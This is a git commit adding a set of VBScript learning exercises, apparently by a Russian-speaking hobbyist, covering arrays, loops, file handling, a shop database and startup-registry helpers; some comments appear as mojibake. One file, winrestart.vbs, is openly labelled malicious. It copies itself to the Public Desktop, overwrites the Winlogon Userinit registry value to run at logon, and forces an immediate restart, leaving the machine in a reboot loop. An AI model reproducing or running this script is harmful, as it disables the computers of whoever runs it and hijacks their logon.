Add files via upload
This commit is contained in:
parent
ca487c4ffb
commit
0bf2e1534a
18 changed files with 604 additions and 0 deletions
1
ReadMe_selfdelete.txt
Normal file
1
ReadMe_selfdelete.txt
Normal file
|
@ -0,0 +1 @@
|
||||||
|
Несколько раз запуская самоуничтожаемый скрипт с backuping=True можно быстро создать кучу вложенных каталогов "backup".
|
21
add_to_startup.vbs
Normal file
21
add_to_startup.vbs
Normal file
|
@ -0,0 +1,21 @@
|
||||||
|
'Script for adding programs to startup using registry
|
||||||
|
'Author: Chechkenev Andrew (DarkCat09/CodePicker13)
|
||||||
|
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim Wsh, pathToProgram, isForAllUsers, root, pathToProgramArr
|
||||||
|
|
||||||
|
Set Wsh = CreateObject("WScript.Shell")
|
||||||
|
pathToProgram = InputBox("Enter full path to program", "AddToStartup")
|
||||||
|
isForAllUsers = MsgBox("Add this program to startup for all users?", vbYesNo, "AddToStartup")
|
||||||
|
'MsgBox pathToProgram & " " & isForAllUsers
|
||||||
|
|
||||||
|
If isForAllUsers = vbYes then
|
||||||
|
root = "HKEY_LOCAL_MACHINE"
|
||||||
|
Else
|
||||||
|
root = "HKEY_CURRENT_USER"
|
||||||
|
End If
|
||||||
|
|
||||||
|
pathToProgramArr = Split(pathToProgram, "\")
|
||||||
|
'MsgBox root & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Split(pathToProgramArr(UBound(pathToProgramArr)), ".")(0)
|
||||||
|
Wsh.RegWrite root & "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Split(pathToProgramArr(UBound(pathToProgramArr)), ".")(0), pathToProgram, "REG_SZ"
|
87
arrays_and_strings.vbs
Normal file
87
arrays_and_strings.vbs
Normal file
|
@ -0,0 +1,87 @@
|
||||||
|
Rem Работа с массивами и строками
|
||||||
|
|
||||||
|
Rem Option Explicit
|
||||||
|
|
||||||
|
Dim res1 'ненужная переменная для MsgBox
|
||||||
|
Dim values, strChar
|
||||||
|
Dim oldStrChar
|
||||||
|
|
||||||
|
Dim dyn_arr() 'динамический массив
|
||||||
|
Dim fix_arr(10) 'массив фиксированного размера - 11
|
||||||
|
Dim matrix_arr(3,2) 'двумерный массив или матрица 4x3
|
||||||
|
|
||||||
|
Rem Отсчёт индекса начинается с нуля, как во всех ЯП!
|
||||||
|
Rem Т.е. 2=0,1,2=(по-человечески)3.
|
||||||
|
|
||||||
|
Rem Заполнение массива вручную
|
||||||
|
fix_arr(0) = "Привет, "
|
||||||
|
fix_arr(1) = "Мир! "
|
||||||
|
fix_arr(2) = "Как дела? "
|
||||||
|
fix_arr(3) = 5 'это означает отлично
|
||||||
|
fix_arr(4) = ". Кошка " 'а это мой стих
|
||||||
|
fix_arr(5) = "села на "
|
||||||
|
fix_arr(6) = "порог, "
|
||||||
|
fix_arr(7) = "вот и "
|
||||||
|
fix_arr(8) = "съела весь "
|
||||||
|
fix_arr(9) = "мой пирог. "
|
||||||
|
fix_arr(10) = "Пока!"
|
||||||
|
Rem В массиве VBS можно хранить всё что угодно!
|
||||||
|
Rem И неважно, что там было первое - строка или число.
|
||||||
|
|
||||||
|
Rem Заполнение массива через цикл
|
||||||
|
Rem Например, мы работаем со светодиодной матрицей.
|
||||||
|
Rem Нужно всю её залить белым цветом - вкл. все светодиоды.
|
||||||
|
Rem Вручную это прописывать слишком долго.
|
||||||
|
For i=0 To 3
|
||||||
|
For j=0 To 2
|
||||||
|
matrix_arr(i,j) = True 'вкл.
|
||||||
|
next
|
||||||
|
next
|
||||||
|
Rem А применение матрице рассмотрим в работе с файлами.
|
||||||
|
|
||||||
|
|
||||||
|
Rem Получение массива из строки, парсинг.
|
||||||
|
Rem Запрашиваем значения у пользователя.
|
||||||
|
values = InputBox("Введите значения массива через запятую", "Динамический массив")
|
||||||
|
|
||||||
|
Rem Сложный, но железобетонный и гибкий вариант парсинга из строк.
|
||||||
|
Rem Я всё закомментировал, так как данный код не работает!
|
||||||
|
Rem strChar = InStr(values, ",") 'находим в строке разделитель
|
||||||
|
Rem MsgBox strChar & " " & Len(values)
|
||||||
|
Rem dyn_arr(0) = Mid(values, 1, strChar) 'вырезаем нужную часть строки
|
||||||
|
|
||||||
|
Rem k = 1
|
||||||
|
Rem Do Until (strChar = 0)
|
||||||
|
Rem oldStrChar = strChar
|
||||||
|
Rem strChar = InStr(oldStrChar, values, ",") 'находим разделитель начиная с предыдущего
|
||||||
|
Rem dyn_arr(k) = Mid(values, oldStrChar, strChar) 'вырезаем нужную часть строки
|
||||||
|
Rem loop
|
||||||
|
|
||||||
|
Rem Выводим пользователю полученный массив,
|
||||||
|
Rem соеденяя его в строку с помощью Join.
|
||||||
|
Rem Разделитель по умолчанию - пробел.
|
||||||
|
Rem res1 = MsgBox(dyn_arr.Join, vbOK, "Сложный парсинг с помощью InStr")
|
||||||
|
|
||||||
|
|
||||||
|
Rem Очень лёгкий способ.
|
||||||
|
Rem Эта функция существует в .NET (в т.ч. VB) и Java.
|
||||||
|
Rem И называется...
|
||||||
|
Rem Split
|
||||||
|
|
||||||
|
Rem Однако, из-за странностей Visual Basic
|
||||||
|
Rem придётся делать вот так:
|
||||||
|
temp_arr = Split(values, ",")
|
||||||
|
For l=0 To UBound(temp_arr)
|
||||||
|
Redim Preserve dyn_arr(l) 'перезаписываем размер массива с сохранением данных - ReDim Preserve
|
||||||
|
dyn_arr(l) = temp_arr(l)
|
||||||
|
next
|
||||||
|
|
||||||
|
res1 = MsgBox(Join(dyn_arr), vbOK, "Простой парсинг с помощью Split")
|
||||||
|
|
||||||
|
Rem Да, всё настолько просто. И это работает!
|
||||||
|
Rem Хотя повозиться пришлось.
|
||||||
|
Rem Но String.Split есть не во всех ЯП и оно слишком автоматическое.
|
||||||
|
|
||||||
|
|
||||||
|
Rem Выводим массив фиксированного размера всё тем же Join.
|
||||||
|
MsgBox Join(fix_arr, "") 'с пустым разделителем
|
49
functions_and_subs.vbs
Normal file
49
functions_and_subs.vbs
Normal file
|
@ -0,0 +1,49 @@
|
||||||
|
Rem Ôóíêöèè è Ïðîöåäóðû
|
||||||
|
Rem Êàëüêóëÿòîð
|
||||||
|
|
||||||
|
Rem Option Explicit
|
||||||
|
|
||||||
|
Dim numA, numB, strS
|
||||||
|
|
||||||
|
Rem Ôóíêöèÿ ïðèáàâèòü - add
|
||||||
|
Function mathAdd(a, b)
|
||||||
|
c = a+b
|
||||||
|
mathAdd = c
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Rem Ôóíêöèÿ îòíÿòü - subtract
|
||||||
|
Function mathSbt(a, b)
|
||||||
|
c = a-b
|
||||||
|
mathSbt = c
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Rem Ôóíêöèÿ óìíîæèòü - multiple
|
||||||
|
Function mathMlt(a, b)
|
||||||
|
c = a*b
|
||||||
|
mathMlt = c
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Rem Ôóíêöèÿ ðàçäåëèòü - divide
|
||||||
|
Function mathDvd(a, b)
|
||||||
|
c = a/b
|
||||||
|
mathDvd = c
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Sub calc(a, b, sign)
|
||||||
|
If sign = "+" then
|
||||||
|
MsgBox a & "+" & b & "=" & mathAdd(a, b)
|
||||||
|
elseif sign = "-" then
|
||||||
|
MsgBox a & "-" & b & "=" & mathSbt(a, b)
|
||||||
|
elseif sign = "*" then
|
||||||
|
MsgBox a & "*" & b & "=" & mathMlt(a, b)
|
||||||
|
elseif sign = "/" then
|
||||||
|
MsgBox a & "/" & b & "=" & mathDvd(a, b)
|
||||||
|
else
|
||||||
|
MsgBox "Îøèáêà!"
|
||||||
|
End if
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
numA = CInt(InputBox("Ââåäèòå ïåðâîå ÷èñëî", "Êàëüêóëÿòîð"))
|
||||||
|
numB = CInt(InputBox("Ââåäèòå âòîðîå ÷èñëî","Êàëüêóëÿòîð"))
|
||||||
|
strS = InputBox("Ââåäèòå çíàê àðèôìåòè÷åñêîãî äåéñòâèÿ","Êàëüêóëÿòîð")
|
||||||
|
Call calc(numA,numB,strS)
|
17
inputbox_testing.vbs
Normal file
17
inputbox_testing.vbs
Normal file
|
@ -0,0 +1,17 @@
|
||||||
|
Rem Тестовый скрипт для проверки возвращаемых значений InputBox
|
||||||
|
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim result
|
||||||
|
|
||||||
|
result = InputBox("Введи что-нибудь и/или нажми какую-нибудь кнопочку", "InputTest()")
|
||||||
|
MsgBox result
|
||||||
|
|
||||||
|
'Результат:
|
||||||
|
'и Отмена, и пустая строка - обрабатываются одинаково.
|
||||||
|
'в result, в любом из этих случаев, сохраняется пустота.
|
||||||
|
'VBS, наверное, не имеет понятия NULLable.
|
||||||
|
'Поэтому данное значение нужно расценивать как пустую строку.
|
||||||
|
|
||||||
|
'А в нормальных случаях (введён текст и нажата OK)
|
||||||
|
'в result сохраняется текст.
|
45
loops.vbs
Normal file
45
loops.vbs
Normal file
|
@ -0,0 +1,45 @@
|
||||||
|
Rem Öèêëû
|
||||||
|
Rem Ïðîñòîé áðóòôîðñ
|
||||||
|
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim num, i
|
||||||
|
Dim res1, res2, res3, res4 'Íåíóæíûå ïåðåìåííûå äëÿ msgbox
|
||||||
|
|
||||||
|
num = CInt(InputBox("Ââåäè öåëîå ÷èñëî", "Áðóòôîðñ"))
|
||||||
|
|
||||||
|
Rem Do-While-Loop
|
||||||
|
i = 0
|
||||||
|
Do While (i < num)
|
||||||
|
i = i + 1
|
||||||
|
loop
|
||||||
|
|
||||||
|
res1 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "Do-While-Loop")
|
||||||
|
|
||||||
|
Rem Do-Until-Loop
|
||||||
|
i = 0
|
||||||
|
Do Until (i = num)
|
||||||
|
i = i + 1
|
||||||
|
loop
|
||||||
|
|
||||||
|
res2 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "Do-Until-Loop")
|
||||||
|
|
||||||
|
Rem While-Wend
|
||||||
|
i = 0
|
||||||
|
While i < num
|
||||||
|
i = i + 1
|
||||||
|
Wend
|
||||||
|
|
||||||
|
res3 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "While-Wend")
|
||||||
|
|
||||||
|
Rem For, ñ çàùèòîé îò ïåðåãðóçêè
|
||||||
|
i = 0
|
||||||
|
For i=0 To 3000
|
||||||
|
If i = num then Exit For End if
|
||||||
|
next
|
||||||
|
|
||||||
|
If Not i = num then
|
||||||
|
MsgBox "Ïåðåãðóçêà! (Èòåðàöèé áîëåå 3000)."
|
||||||
|
else
|
||||||
|
res4 = MsgBox("Âàøå ÷èñëî: " & i & ".", vbOK, "For ñ çàùèòîé")
|
||||||
|
End if
|
46
math_functions.vbs
Normal file
46
math_functions.vbs
Normal file
|
@ -0,0 +1,46 @@
|
||||||
|
Rem Математические функции
|
||||||
|
Rem Эта программа бесполезная,
|
||||||
|
Rem разве что только для изучения VBS.
|
||||||
|
Rem (что я и делаю - изучаю скриптинг).
|
||||||
|
|
||||||
|
'Весь код был взят из примера с сайта
|
||||||
|
'http://vbhack.ru/uroki-vbscript/urok-vbscript-n8-matematicheskie-funkcii-funk.html
|
||||||
|
'И немножко изменён мною.
|
||||||
|
|
||||||
|
Dim a, b, c, d, e, f, g, h, i, j, k, l, m, n, o
|
||||||
|
|
||||||
|
a = "Модуль числа 10: " & Abs(10)
|
||||||
|
b = "Модуль числа -10: " & Abs(-10)
|
||||||
|
c = "Арктангенс числа 10: " & Atn(10)
|
||||||
|
d = "Косинус угла 10 радиан: " & Cos(10)
|
||||||
|
e = "Синус угла 10 радиан: " & Sin(10)
|
||||||
|
f = "Тангенс угла 10 радиан: " & Tan(10)
|
||||||
|
g = "Экспонента возведённая в 2: " & exp(2)
|
||||||
|
h = "Логарифм из 15: " & log(15)
|
||||||
|
i = "Десятичный логарифм из 15: " & log(15)/log(10)
|
||||||
|
j = "Квадратный корень 15: " & Sqr(15)
|
||||||
|
k = "Квадратный корень 0: " & Sqr(0)
|
||||||
|
|
||||||
|
min = 3
|
||||||
|
max = 18
|
||||||
|
|
||||||
|
Randomize
|
||||||
|
l = "Рандомизация 1: " & (Int(1 + (Rnd(3) * 10))) '(Int(min + (Rnd() * max)))
|
||||||
|
m = "Рандомизация 2: " & Int((10 - 1 + 1) * Rnd + 1) ' Int((max - min + 1) * Rnd + min)
|
||||||
|
n = "Рандомизация 3: " & Int((10 * Rnd) + 1) ' Int((max * Rnd) + min)
|
||||||
|
o = "Простая рандомизация: " & Rnd(10)
|
||||||
|
|
||||||
|
p = "Целое число (Int) из 10.3: " & Int(10.3)
|
||||||
|
q = "Целое число (Fix) из 10.3: " & Fix(10.3)
|
||||||
|
r = "Целое число (Int) из -10.3: " & Int(-10.3)
|
||||||
|
s = "Целое число (Fix) из -10.3: " & Fix(-10.3)
|
||||||
|
|
||||||
|
Rem Разница между Int и Fix проявляется только при отрицательных значениях.
|
||||||
|
Rem Fix возвращает ближайшее меньшее по модулю число,
|
||||||
|
Rem а Int ближайшее большее по модулю число.
|
||||||
|
Rem Источник тот же:
|
||||||
|
Rem http://vbhack.ru/uroki-vbscript/urok-vbscript-n8-matematicheskie-funkcii-funk.html
|
||||||
|
|
||||||
|
MsgBox a & vbCrLf & b & vbCrLf & c & vbCrLf & d & vbCrLf & e & vbCrLf & f & vbCrLf &_
|
||||||
|
g & vbCrLf & h & vbCrLf & i & vbCrLf & j & vbCrLf & k & vbCrLf & l & vbCrLf & m &_
|
||||||
|
vbCrLf & n & vbCrLf & o & vbCrLf & p & vbCrLf & q & vbCrLf & r & vbCrLf & s
|
24
prefix_renamer.vbs
Normal file
24
prefix_renamer.vbs
Normal file
|
@ -0,0 +1,24 @@
|
||||||
|
'Automatically rename files, adding entered prefix
|
||||||
|
'by DarkCat09
|
||||||
|
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim prefix, directory
|
||||||
|
Dim Fso, Dir, File
|
||||||
|
Set Fso = CreateObject("Scripting.FileSystemObject")
|
||||||
|
|
||||||
|
prefix = InputBox("Enter file prefix:", "Autorename")
|
||||||
|
|
||||||
|
If Wsh.Arguments.Count > 0 Then
|
||||||
|
directory = Wsh.Arguments(0)
|
||||||
|
Else
|
||||||
|
directory = Fso.GetParentFolderName(WScript.ScriptFullName)
|
||||||
|
End If
|
||||||
|
|
||||||
|
Set Dir = Fso.GetFolder(directory)
|
||||||
|
|
||||||
|
For Each File in Dir.Files
|
||||||
|
Fso.MoveFile directory & "\" & File.Name, directory & "\" & prefix & File.Name
|
||||||
|
Next
|
||||||
|
|
||||||
|
MsgBox "OK!"
|
24
prefix_unrenamer.vbs
Normal file
24
prefix_unrenamer.vbs
Normal file
|
@ -0,0 +1,24 @@
|
||||||
|
'Automatically rename files, removing entered prefix
|
||||||
|
'by DarkCat09
|
||||||
|
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim prefix, directory, result
|
||||||
|
Dim Fso, Dir, File
|
||||||
|
Set Fso = CreateObject("Scripting.FileSystemObject")
|
||||||
|
|
||||||
|
prefix = InputBox("Enter file prefix:", "Autorename")
|
||||||
|
|
||||||
|
If Wsh.Arguments.Count > 0 Then
|
||||||
|
directory = Wsh.Arguments(0)
|
||||||
|
Else
|
||||||
|
directory = Fso.GetParentFolderName(WScript.ScriptFullName)
|
||||||
|
End If
|
||||||
|
|
||||||
|
Set Dir = Fso.GetFolder(directory)
|
||||||
|
|
||||||
|
For Each File in Dir.Files
|
||||||
|
result = File.Path
|
||||||
|
Fso.MoveFile File.Path, Replace(result, prefix, "", 1, 1, 1)
|
||||||
|
Next
|
||||||
|
MsgBox "OK!"
|
20
selfdelete.vbs
Normal file
20
selfdelete.vbs
Normal file
|
@ -0,0 +1,20 @@
|
||||||
|
Rem Немножко хулиганим с FSO
|
||||||
|
Rem Самоудаляемый скрипт
|
||||||
|
|
||||||
|
Rem Запустите этот скрипт и он удалится!
|
||||||
|
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim FSO, backuping, scriptName
|
||||||
|
Set FSO = CreateObject("Scripting.FileSystemObject")
|
||||||
|
backuping = True 'если хотите, чтобы скрипт сам себя забэкапил, установите
|
||||||
|
'backuping = True
|
||||||
|
scriptName = WScript.ScriptName
|
||||||
|
|
||||||
|
Sub BackupScript()
|
||||||
|
FSO.CreateFolder "backup"
|
||||||
|
FSO.CopyFile scriptName, "backup\" & scriptName
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
If backuping = True then Call BackupScript() End if
|
||||||
|
FSO.DeleteFile scriptName
|
1
selfdelete_one-line.vbs
Normal file
1
selfdelete_one-line.vbs
Normal file
|
@ -0,0 +1 @@
|
||||||
|
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
|
92
shop_db.vbs
Normal file
92
shop_db.vbs
Normal file
|
@ -0,0 +1,92 @@
|
||||||
|
Rem Большой проект
|
||||||
|
Rem +словари, Select ... case и Err
|
||||||
|
Rem Локальная БД Магазина
|
||||||
|
|
||||||
|
On Error Resume Next 'Обрабатываем все ошибки - теперь они нас не побеспокоят
|
||||||
|
Rem Option Explicit
|
||||||
|
|
||||||
|
Dim res1 'Ненужная переменная для MsgBox
|
||||||
|
Dim exitFromMenu
|
||||||
|
|
||||||
|
Dim prodFileName, optionsDelim
|
||||||
|
prodFileName = "products.csv" 'Имя файла с продуктами
|
||||||
|
optionsDelim = "," 'Разделитель опций (продукт,цена)
|
||||||
|
'Если в названии товара может присутсвовать запятая,
|
||||||
|
'Лучше ставить optionsDelim = ";"
|
||||||
|
exitFromMenu = False
|
||||||
|
|
||||||
|
Rem Словарь, как в Java и .NET:
|
||||||
|
Set Products = CreateObject("Scripting.Dictionary")
|
||||||
|
|
||||||
|
Dim FSO, ProdFile
|
||||||
|
Set FSO = CreateObject("Scripting.FileSystemObject")
|
||||||
|
|
||||||
|
Sub addProducts()
|
||||||
|
Set ProdFile = FSO.OpenTextFile(prodFileName, 8, True, -1)
|
||||||
|
prodOptions = "наименование; цена"
|
||||||
|
|
||||||
|
Do Until (prodOptions = "")
|
||||||
|
|
||||||
|
prodOptions = InputBox("Введите опции товара (наименование и цена), разделяя точкой с запятой." &_
|
||||||
|
vbCrLf & "Пример: Вода Волжанка 0.5 л; 25", "Локальная База Данных Магазина")
|
||||||
|
|
||||||
|
splitedOpts = Split(prodOptions, "; ")
|
||||||
|
If UBound(splitedOpts) > 0 then Products.Add splitedOpts(0), splitedOpts(1) End if 'проверка - опций не 0? и запись в словарь
|
||||||
|
loop
|
||||||
|
|
||||||
|
For Each prodkey In Products.keys 'для каждого ключа в словаре...
|
||||||
|
ProdFile.Write(prodkey & optionsDelim &_
|
||||||
|
Products(prodkey) & vbCrLf) 'записываем в файл (ключ - наим.товара + разделитель + значение(ключа) - цену).
|
||||||
|
next
|
||||||
|
|
||||||
|
ProdFile.Close
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub readProducts()
|
||||||
|
Set ProdFile = FSO.OpenTextFile(prodFileName, 1, False, -1)
|
||||||
|
MsgBox Err.Number
|
||||||
|
MsgBox ProdFile.ReadAll()
|
||||||
|
ProdFile.Close
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub removeAllProducts()
|
||||||
|
FSO.DeleteFile prodFileName, True
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Function computeDiscount(cost, pct)
|
||||||
|
Rem cost - обычная стоимость.
|
||||||
|
Rem pct - скидка, в процентах.
|
||||||
|
itog = cost - (cost/100*pct)
|
||||||
|
computeDiscount = itog
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Rem Делаем своеобразное меню на Инпутах
|
||||||
|
|
||||||
|
Do While (exitFromMenu = False) 'пока пользователь не вышел из меню, показываем его
|
||||||
|
|
||||||
|
selected_function = InputBox("Выберите функцию:" & vbCrLf & "1 - добавить продукты в файл" & vbCrLf &_
|
||||||
|
"2 - просмотреть список продуктов" & vbCrLf & "3 - очистить список продуктов" & vbCrLf &_
|
||||||
|
"4 - рассчитать цену товара со скидкой" & vbCrLf & "5 - выйти", "Локальная База Данных Магазина")
|
||||||
|
|
||||||
|
Rem select...case - то же самое,
|
||||||
|
Rem что и знакомый всем C-программистам switch...case.
|
||||||
|
Rem Только синтаксис немножко отличается.
|
||||||
|
Select case selected_function
|
||||||
|
case "1"
|
||||||
|
Call addProducts()
|
||||||
|
case "2"
|
||||||
|
Call readProducts()
|
||||||
|
Rem If Err.Number = 53 then MsgBox "Нету файлика с продуктами!" End if
|
||||||
|
case "3"
|
||||||
|
Call removeAllProducts()
|
||||||
|
case "4"
|
||||||
|
header = "Рассчитать цену со скидкой"
|
||||||
|
cost = CInt(InputBox("Обычная стоимость:", header))
|
||||||
|
prct = CInt(InputBox("Скидка, в %:", header))
|
||||||
|
res1 = MsgBox(computeDiscount(cost, prct), vbOK, header)
|
||||||
|
case "5"
|
||||||
|
exitFromMenu = True
|
||||||
|
case else
|
||||||
|
MsgBox "Ошибка!" & vbCrLf & "Укажите правильное значение." & vbCrLf & "Чтобы выйти, выберите 5."
|
||||||
|
End Select
|
||||||
|
loop
|
4
special_folders.vbs
Normal file
4
special_folders.vbs
Normal file
|
@ -0,0 +1,4 @@
|
||||||
|
Dim Fso
|
||||||
|
Set Fso = CreateObject("Scripting.FileSystemObject")
|
||||||
|
MsgBox "0 = " & Fso.GetSpecialFolder(0) & vbCrLf & "1 = " & Fso.GetSpecialFolder(1) & vbCrLf & "2 = " & Fso.GetSpecialFolder(2)
|
||||||
|
MsgBox "System drive = " & Fso.GetSpecialFolder(0).Drive
|
54
text_files_and_matrix.vbs
Normal file
54
text_files_and_matrix.vbs
Normal file
|
@ -0,0 +1,54 @@
|
||||||
|
Rem Текстовые файлы и Матрицы
|
||||||
|
Rem Имитация Светодиодной Матрицы в Блокноте.
|
||||||
|
|
||||||
|
Rem НЕ работает!
|
||||||
|
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim i, j
|
||||||
|
Dim FSO, myFile
|
||||||
|
Dim matrix(7,3) 'инициализируем двумерный массив или матрицу 8x4
|
||||||
|
|
||||||
|
Set FSO = CreateObject("Scripting.FileSystemObject")
|
||||||
|
Set myFile = FSO.CreateTextFile("matrix.txt",True,True)
|
||||||
|
myFile.Close
|
||||||
|
|
||||||
|
Sub writeMatrix()
|
||||||
|
Set myFile = FSO.OpenTextFile("matrix.txt",2,True,0) 'открываем matrix.txt в режиме записи (2) с кодировкой ASCII (0)
|
||||||
|
|
||||||
|
For j=0 To 3
|
||||||
|
For i=0 To 7
|
||||||
|
If matrix(i,j)=True then myFile.Write(".") else myFile.Write(" ") End if
|
||||||
|
next
|
||||||
|
myFile.Write(vbCrLf)
|
||||||
|
next
|
||||||
|
|
||||||
|
myFile.Close 'закрываем поток
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Rem Заполнение
|
||||||
|
For i=0 To 7
|
||||||
|
For j=0 To 3
|
||||||
|
matrix(i, j)=True 'включено
|
||||||
|
next
|
||||||
|
next
|
||||||
|
|
||||||
|
writeMatrix()
|
||||||
|
|
||||||
|
Rem Каёмочка
|
||||||
|
For i=0 To 7
|
||||||
|
matrix(i, 0)=True
|
||||||
|
next
|
||||||
|
For j=0 To 3
|
||||||
|
matrix(0, j)=True
|
||||||
|
next
|
||||||
|
For i=0 To 7
|
||||||
|
matrix(i, 7)=True
|
||||||
|
next
|
||||||
|
For j=0 To 3
|
||||||
|
matrix(7, j)=True
|
||||||
|
next
|
||||||
|
|
||||||
|
writeMatrix()
|
||||||
|
|
||||||
|
Rem ...
|
50
types_and_ifs.vbs
Normal file
50
types_and_ifs.vbs
Normal file
|
@ -0,0 +1,50 @@
|
||||||
|
Rem Òèïû äàííûõ è Öèêëû
|
||||||
|
Rem +íåìíîãî î ðàáîòå ñ äàòîé
|
||||||
|
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim a, b
|
||||||
|
Dim num
|
||||||
|
Dim name, result
|
||||||
|
Dim brthdate
|
||||||
|
Dim instrChar
|
||||||
|
|
||||||
|
a = 10
|
||||||
|
b = 20
|
||||||
|
|
||||||
|
MsgBox "Ïðèâåò!"
|
||||||
|
|
||||||
|
Rem Áåññìûñëåííàÿ ïðîâåðêà ïåðåìåííûõ
|
||||||
|
if a = 10 then MsgBox "a = 10!" End if
|
||||||
|
if b = 20 then MsgBox "b = 20!" else MsgBox "b íå= 20!" End if
|
||||||
|
|
||||||
|
Rem Ïðîâåðêà ââåä¸ííîãî ÷èñëà
|
||||||
|
Rem CInt - Convert to Integer
|
||||||
|
num = CInt(InputBox("Ââåäè ëþáîå ÷èñëî", "Èíïóò"))
|
||||||
|
|
||||||
|
Rem if, elseif, else, End if - ïî÷òè êàê â Bash èëè Python
|
||||||
|
If num < a then
|
||||||
|
MsgBox "Òâî¸ ÷èñëî ìåíüøå " & a & "."
|
||||||
|
elseif num > b then
|
||||||
|
MsgBox "Òâî¸ ÷èñëî áîëüøå " & b & "."
|
||||||
|
else
|
||||||
|
Rem vbCrLf - ýòî ñèìâîë íîâîé ñòðîêè
|
||||||
|
MsgBox "Òâî¸ ÷èñëî â ïðåäåëàõ " & a & " è " & b & "," & vbCrLf & "ò.å. áîëüøå, ÷åì " & a & ", íî ìåíüøå, ÷åì " & b & "."
|
||||||
|
End if
|
||||||
|
|
||||||
|
Rem Ïðîâåðêà êíîïêè
|
||||||
|
name = InputBox("Ââåäè èìÿ", "Èíïóò")
|
||||||
|
result = MsgBox("Ïðèâåò, " & name & "!", vbOKCancel, "Ñîîáùåíèå")
|
||||||
|
If result = vbOK then MsgBox "Ïîêà!" End if
|
||||||
|
|
||||||
|
Rem Ïðîâåðêà èìåíè è äàòû ðîæäåíèÿ
|
||||||
|
Rem CDate - Convert to Date
|
||||||
|
brthdate = CDate(InputBox("Ââåäè äàòó ðîæäåíèÿ â ôîðìàòå ÄÄ.ÌÌ.ÃÃÃÃ èëè ÄÄ/ÌÌ/ÃÃÃÃ", "Èíïóò"))
|
||||||
|
|
||||||
|
instrChar = InStr(name, "Àíäðåé") 'èùåì ìî¸ èìÿ - Àíäðåé - â óêàçàííîì èìåíè
|
||||||
|
|
||||||
|
If (Not instrChar = 0) And Day(brthdate) = 13 And Month(brthdate) = 7 And Year(brthdate) = 2009 then
|
||||||
|
MsgBox "Âîçìîæíî, òû ðàçðàáîò÷èê ýòîãî ñêðèïòà!"
|
||||||
|
else
|
||||||
|
MsgBox "OK"
|
||||||
|
End if
|
25
vars_and_msgs.vbs
Normal file
25
vars_and_msgs.vbs
Normal file
|
@ -0,0 +1,25 @@
|
||||||
|
Rem Переменные, Сообщения и др.
|
||||||
|
|
||||||
|
'Это комментарий.
|
||||||
|
Rem И это комментарий.
|
||||||
|
Rem А с помощью строчки
|
||||||
|
Rem Option Explicit
|
||||||
|
Rem можно сделать, чтобы вызывалась ошибка
|
||||||
|
Rem при обнаружении не объявленных переменнных.
|
||||||
|
Rem Сейчас ошибки не будет, т.к. строка закомментирована.
|
||||||
|
Rem Но у нас есть неявно объявленная переменная name.
|
||||||
|
Rem Была бы ошибка!
|
||||||
|
|
||||||
|
Dim a, b
|
||||||
|
|
||||||
|
a = "Привет!"
|
||||||
|
b = 10
|
||||||
|
|
||||||
|
MsgBox a
|
||||||
|
MsgBox b
|
||||||
|
MsgBox a & " " & b
|
||||||
|
|
||||||
|
name = InputBox("Как тебя зовут?", "Вопросик")
|
||||||
|
result = MsgBox("Привет, " & name & "!", vbOKCancel, "Полезная информация")
|
||||||
|
Rem MsgBox "Пока!", vbOK, "Полезная информация"
|
||||||
|
MsgBox "Пока!"
|
19
winrestart.vbs
Normal file
19
winrestart.vbs
Normal file
|
@ -0,0 +1,19 @@
|
||||||
|
' Просто вредоносный скрипт
|
||||||
|
' by DarkCat09
|
||||||
|
|
||||||
|
Dim Wsh, Fso
|
||||||
|
Set Wsh = CreateObject("WScript.Shell")
|
||||||
|
Set Fso = CreateObject("Scripting.FileSystemObject")
|
||||||
|
|
||||||
|
Dim sysdrive, sysdir
|
||||||
|
sysdrive = Fso.GetSpecialFolder(0).Drive
|
||||||
|
sysdir = Fso.GetSpecialFolder(1)
|
||||||
|
|
||||||
|
If Not Fso.FileExists(sysdrive & "\Users\Public\Desktop\winrestart.vbs") Then
|
||||||
|
Fso.CopyFile WScript.ScriptFullName, sysdrive & "\Users\Public\Desktop\winrestart.vbs"
|
||||||
|
End If
|
||||||
|
|
||||||
|
Wsh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", _
|
||||||
|
sysdir & "\wscript.exe " & sysdrive & "\Users\Public\Desktop\winrestart.vbs,", "REG_SZ"
|
||||||
|
|
||||||
|
Wsh.Run "shutdown /r /t 0", 1, False
|
25
working_with_files.vbs
Normal file
25
working_with_files.vbs
Normal file
|
@ -0,0 +1,25 @@
|
||||||
|
Rem Работа с файлами и папками
|
||||||
|
Rem Секретные заметки
|
||||||
|
|
||||||
|
Option Explicit
|
||||||
|
|
||||||
|
Dim FSO, myText
|
||||||
|
Set FSO = CreateObject("Scripting.FileSystemObject") 'для работы с файлами нужен объект ФС
|
||||||
|
|
||||||
|
Rem Создание каталога
|
||||||
|
If Not FSO.FolderExists("Notes") Then FSO.CreateFolder "Notes" End if
|
||||||
|
|
||||||
|
Rem Создание файла и запись данных
|
||||||
|
Set myText = FSO.CreateTextFile("Notes\1.txt",True,True) 'Создаём текстовый файл 1.txt, если есть - перезаписываем (True), с кодировкой Unicode (True).
|
||||||
|
